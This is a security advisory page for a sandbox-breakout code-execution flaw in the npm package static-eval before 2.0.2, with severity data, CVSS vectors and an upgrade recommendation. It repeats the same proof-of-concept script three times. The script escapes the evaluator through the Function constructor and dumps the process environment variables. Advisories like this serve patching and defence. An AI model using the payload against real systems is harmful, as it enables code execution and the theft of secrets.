GHSA-x9hc-rw35-f44h
Sandbox Breakout / Arbitrary Code Execution in static-eval
GHSA-x9hc-rw35-f44h is a high vulnerability (CVSS 7.3) in static-eval, published September 2, 2020. No source lists public exploit code. Fixed in static-eval 2.0.2.
- Severity
- 7.3 HighCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
2.0.2static-eval +1 more
Description
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Recommendation
Upgrade to version 2.0.2 or later.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Affected packages
| Package | Affected | Fixed |
|---|---|---|
static-evalnpm | through 2.0.1 | 2.0.2 |
static-evalnpm | before 2.0.2 | 2.0.2 |
What each source reports
GitHub Advisories Score used
Sandbox Breakout / Arbitrary Code Execution in static-eval
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Recommendation
Upgrade to version 2.0.2 or later.
- Record
GHSA-x9hc-rw35-f44h- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
Sandbox Breakout / Arbitrary Code Execution in static-eval
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Recommendation
Upgrade to version 2.0.2 or later.
- Record
GHSA-x9hc-rw35-f44h- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.